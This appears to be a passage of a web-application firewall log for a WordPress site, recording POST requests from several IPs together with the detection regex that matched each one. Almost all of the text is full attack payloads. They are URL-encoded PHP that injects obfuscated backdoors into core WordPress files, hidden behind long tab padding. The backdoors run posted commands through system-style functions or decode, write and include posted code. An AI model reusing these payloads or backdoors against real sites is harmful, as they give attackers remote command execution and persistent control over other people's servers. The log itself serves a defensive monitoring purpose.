%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res15%2520.%2520%2524res16%2520.%2520%2524res17%2529%253B%2524reverse_searcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res18%2520.%2520%2527576%2527%2520.%2520%2524res5%2520.%2520%2524res19%2520.%2520%2524res20%2520.%2520%2524res21%2520.%2520%2527656%2527%2520.%2520%2527172%2527%2520.%2520%2527636%2527%2520.%2520%2527865%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_searcher%255D%2529%2529%257B%2524reverse_searcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_searcher%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524reverse_searcher%252C%2524object_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_token%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524ref_value%253D%2524system_core5%2528%2524reverse_searcher%252C%2522r%2522%2529%253Bif%2528%2524ref_value%2529%257B%2524data_chunk_holder%253D%2524system_core6%2528%2524ref_value%2529%253B%2524system_core7%2528%2524ref_value%2529%253Bprint%2520%2524data_chunk_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:51:07","38.95.35.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/RegistryAware.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524res1%2520%253D%2520%2527737%2527%253B%2524res2%2520%253D%2520%2527973%2527%253B%2524res3%2520%253D%2520%2527746%2527%253B%2524res4%2520%253D%2520%2527736%2527%253B%2524res5%2520%253D%2520%2527657%2527%253B%2524res6%2520%253D%2520%2527865%2527%253B%2524res7%2520%253D%2520%2527727%2527%253B%2524res8%2520%253D%2520%2527f70%2527%253B%2524res9%2520%253D%2520%2527656%2527%253B%2524res10%2520%253D%2520%2527472%2527%253B%2524res11%2520%253D%2520%252716d%2527%253B%2524res12%2520%253D%2520%2527765%2527%253B%2524res13%2520%253D%2520%2527745%2527%253B%2524res14%2520%253D%2520%2527e74%2527%253B%2524res15%2520%253D%2520%252736c%2527%253B%2524res16%2520%253D%2520%25276f7%2527%253B%2524res17%2520%253D%2520%2527365%2527%253B%2524res18%2520%253D%2520%2527726%2527%253B%2524res19%2520%253D%2520%2527273%2527%253B%2524res20%2520%253D%2520%2527655%2527%253B%2524res21%2520%253D%2520%2527f73%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res2%2520.%2520%2524res3%2520.%2520%252756d%2527%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2524res5%2520.%2520%2527865%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524res6%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527173%2527%2520.%2520%2524res1%2520.%2520%2527468%2527%2520.%2520%2524res7%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res8%2520.%2520%2524res9%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res10%2520.%2520%2527656%2527%2520.%2520%2524res11%2520.%2520%25275f6%2527%2520.%2520%2524res12%2520.%2520%2524res13%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524res14%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res15%2520.%2520%2524res16%2520.%2520%2524res17%2529%253B%2524reverse_searcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res18%2520.%2520%2527576%2527%2520.%2520%2524res5%2520.%2520%2524res19%2520.%2520%2524res20%2520.%2520%2524res21%2520.%2520%2527656%2527%2520.%2520%2527172%2527%2520.%2520%2527636%2527%2520.%2520%2527865%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_searcher%255D%2529%2529%257B%2524reverse_searcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_searcher%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524reverse_searcher%252C%2524object_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_token%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524ref_value%253D%2524system_core5%2528%2524reverse_searcher%252C%2522r%2522%2529%253Bif%2528%2524ref_value%2529%257B%2524data_chunk_holder%253D%2524system_core6%2528%2524ref_value%2529%253B%2524system_core7%2528%2524ref_value%2529%253Bprint%2520%2524data_chunk_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6706\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/RegistryAware.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524res1%2520%253D%2520%2527737%2527%253B%2524res2%2520%253D%2520%2527973%2527%253B%2524res3%2520%253D%2520%2527746%2527%253B%2524res4%2520%253D%2520%2527736%2527%253B%2524res5%2520%253D%2520%2527657%2527%253B%2524res6%2520%253D%2520%2527865%2527%253B%2524res7%2520%253D%2520%2527727%2527%253B%2524res8%2520%253D%2520%2527f70%2527%253B%2524res9%2520%253D%2520%2527656%2527%253B%2524res10%2520%253D%2520%2527472%2527%253B%2524res11%2520%253D%2520%252716d%2527%253B%2524res12%2520%253D%2520%2527765%2527%253B%2524res13%2520%253D%2520%2527745%2527%253B%2524res14%2520%253D%2520%2527e74%2527%253B%2524res15%2520%253D%2520%252736c%2527%253B%2524res16%2520%253D%2520%25276f7%2527%253B%2524res17%2520%253D%2520%2527365%2527%253B%2524res18%2520%253D%2520%2527726%2527%253B%2524res19%2520%253D%2520%2527273%2527%253B%2524res20%2520%253D%2520%2527655%2527%253B%2524res21%2520%253D%2520%2527f73%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res2%2520.%2520%2524res3%2520.%2520%252756d%2527%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2524res5%2520.%2520%2527865%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524res6%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527173%2527%2520.%2520%2524res1%2520.%2520%2527468%2527%2520.%2520%2524res7%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res8%2520.%2520%2524res9%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res10%2520.%2520%2527656%2527%2520.%2520%2524res11%2520.%2520%25275f6%2527%2520.%2520%2524res12%2520.%2520%2524res13%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524res14%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res15%2520.%2520%2524res16%2520.%2520%2524res17%2529%253B%2524reverse_searcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res18%2520.%2520%2527576%2527%2520.%2520%2524res5%2520.%2520%2524res19%2520.%2520%2524res20%2520.%2520%2524res21%2520.%2520%2527656%2527%2520.%2520%2527172%2527%2520.%2520%2527636%2527%2520.%2520%2527865%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_searcher%255D%2529%2529%257B%2524reverse_searcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_searcher%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524reverse_searcher%252C%2524object_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_token%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524ref_value%253D%2524system_core5%2528%2524reverse_searcher%252C%2522r%2522%2529%253Bif%2528%2524ref_value%2529%257B%2524data_chunk_holder%253D%2524system_core6%2528%2524ref_value%2529%253B%2524system_core7%2528%2524ref_value%2529%253Bprint%2520%2524data_chunk_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 12:52:30","217.217.254.45","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ot:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522refere%255Cx6Ec%255Cx65%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524dat%2520%253D%2520hex2bin%2528%2524_POST%255B%2522refere%255Cx6Ec%255Cx65%2522%255D%2529%253B%2520%2524flag%2520%253D%2520%2527%2527%2520%253B%2520%2524t%2520%253D%25200%253B%2520do%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524dat%255B%2524t%255D%2529%2520%255E%2520100%2529%253B%2524t%252B%252B%253B%257D%2520while%2528%2524t%2520%253C%2520strlen%2528%2524dat%2529%2529%253B%2520%2524desc%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524factor%2520%253D%2520%2524desc%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524factor%2529%2520%2526%2526%2520is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.itm%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524ent%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG3DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\ncontent-length:4099\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\n\nOt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522refere%255Cx6Ec%255Cx65%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524dat%2520%253D%2520hex2bin%2528%2524_POST%255B%2522refere%255Cx6Ec%255Cx65%2522%255D%2529%253B%2520%2524flag%2520%253D%2520%2527%2527%2520%253B%2520%2524t%2520%253D%25200%253B%2520do%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524dat%255B%2524t%255D%2529%2520%255E%2520100%2529%253B%2524t%252B%252B%253B%257D%2520while%2528%2524t%2520%253C%2520strlen%2528%2524dat%2529%2529%253B%2520%2524desc%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524factor%2520%253D%2520%2524desc%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524factor%2529%2520%2526%2526%2520is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.itm%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524ent%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:52:35","93.39.85.202","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> py:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522refere%255Cx6Ec%255Cx65%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524dat%2520%253D%2520hex2bin%2528%2524_POST%255B%2522refere%255Cx6Ec%255Cx65%2522%255D%2529%253B%2520%2524flag%2520%253D%2520%2527%2527%2520%253B%2520%2524t%2520%253D%25200%253B%2520do%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524dat%255B%2524t%255D%2529%2520%255E%2520100%2529%253B%2524t%252B%252B%253B%257D%2520while%2528%2524t%2520%253C%2520strlen%2528%2524dat%2529%2529%253B%2520%2524desc%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524factor%2520%253D%2520%2524desc%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524factor%2529%2520%2526%2526%2520is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.itm%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524ent%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 